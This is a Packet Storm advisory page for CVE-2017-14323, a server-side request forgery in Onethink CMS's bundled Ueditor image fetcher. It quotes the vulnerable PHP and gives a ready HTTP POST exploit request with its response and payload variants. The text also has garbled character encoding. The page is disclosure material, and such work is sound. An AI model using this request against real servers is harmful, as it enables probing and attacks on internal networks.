what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Onethink CMS Server Side Request Forgery

Onethink CMS Server Side Request Forgery
Posted Apr 6, 2018
Authored by Jiawang Zhang, Qian Wu, Bo Wang

Onethink CMS versions released up to date 2018/04/06 suffer from a server-side request forgery vulnerability.

tags | exploit
advisories | CVE-2017-14323
SHA-256 | aad2879de55bb8ba9ba5796d011af0f016e871cd9b6bf150c3994af20e87b21e

Onethink CMS Server Side Request Forgery

Change Mirror Download
# SSRFPS"Server Side Request ForgeryPS(c) in Onethink  All version (CVE-2017-14323)

The Onethink is an open source CMS(Content Management System).This system is based on the Thinkphp3.2 development framework.

## Product Download: http://www.onethink.cn

## Vulnerability TypePSoSSRFPS"Server Side Request ForgeryPS(c)

## Attack Type : Remote

## Vulnerability Description

Onethink uses a Ueditor editor with a flawed version that causes the SSRF vulnerability to occur.

The vulnerability codePS"/Public/static/ueditor/php/getRemoteImage.phpPS(c):

$uri = htmlspecialchars( $_POST[ 'upfile' ] );
$uri = str_replace( "&" , "&" , $uri );
getRemoteImage( $uri,$config );
//echo($uri);

/**
* OP3IxY=E!
* @param $uri
* @param $config
*/
function getRemoteImage( $uri,$config)
{
//ooAOxY=E!E+-1/4aIThOAE
set_time_limit( 0 );
//ue_separate_ue ueOAOU'<<uUEy3/4U*O,i*uoA
$imgUrls = explode( "ue_separate_ue" , $uri );
$tmpNames = array();
foreach ( $imgUrls as $imgUrl ) {
//http?aI*NeO$?
if(strpos($imgUrl,"http")!==0){
array_push( $tmpNames , "error" );
continue;
}
//echo($imgUrl);
//>>nE!CeCoI*
$heads = get_headers( $imgUrl ); //This is a blind ssrf
//EAA'1/4i2a
if ( !( stristr( $heads[ 0 ] , "200" ) && stristr( $heads[ 0 ] , "OK" ) ) ) {
array_push( $tmpNames , "error" );
continue;
}

//,nE1/2NeO$?(A(c)O1AuNeO$?oIContent-TypeNeO$?)
$fileType = strtolower( strrchr( $imgUrl , '.' ) );
if ( !in_array( $fileType , $config[ 'allowFiles' ] ) || stristr( $heads[ 'Content-Type' ] , "image" ) ) {
array_push( $tmpNames , "error" );
continue;
}
//var_dump($tmpNames);

//'o?aEa3o>>o3aCo2C/>>nE!OP3II1/4AE!
ob_start();
$context = stream_context_create(
array (
'http' => array (
'follow_location' => false // don't follow redirects
)
)
);
//CeE*+-PSphp.iniODuAfopen wrappersON3/41/4$?>>i
readfile( $imgUrl,false,$context); //vulnerability is here,request any http(s) url
$img = ob_get_contents();
ob_end_clean();

## Exploit

Request Content:

POST http://target/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Connection: keep-alive

upfile=https://www.google.com/?%23.jpg

Response Content:

HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
Content-Length: 110

{'url':'upload/43361505134158.jpg','tip':'OP3II1/4AE!xY=E!3E1|PS!','srcUrl':'http://www.baidu.com/?#.jpg'}

modify the above upfile parameterPS!example:

request http protocol: upfile=http://www.google.com

request https protocol: upfile=https://www.google.com

This vulnerability only use http!C/https protocol

this vulnerability trigger need allow\_url\_fopen option is enable in php.iniPS!allow\_url\_fopen option defualt is enable.
## Versions

Onethink all version

## Impact

SSRF(Server Side Request Forgery) in Onethink V1.0 and V1.1 version allow remote attackers to information detection,internal network server attack.

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14323



service@baimaohui.net


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close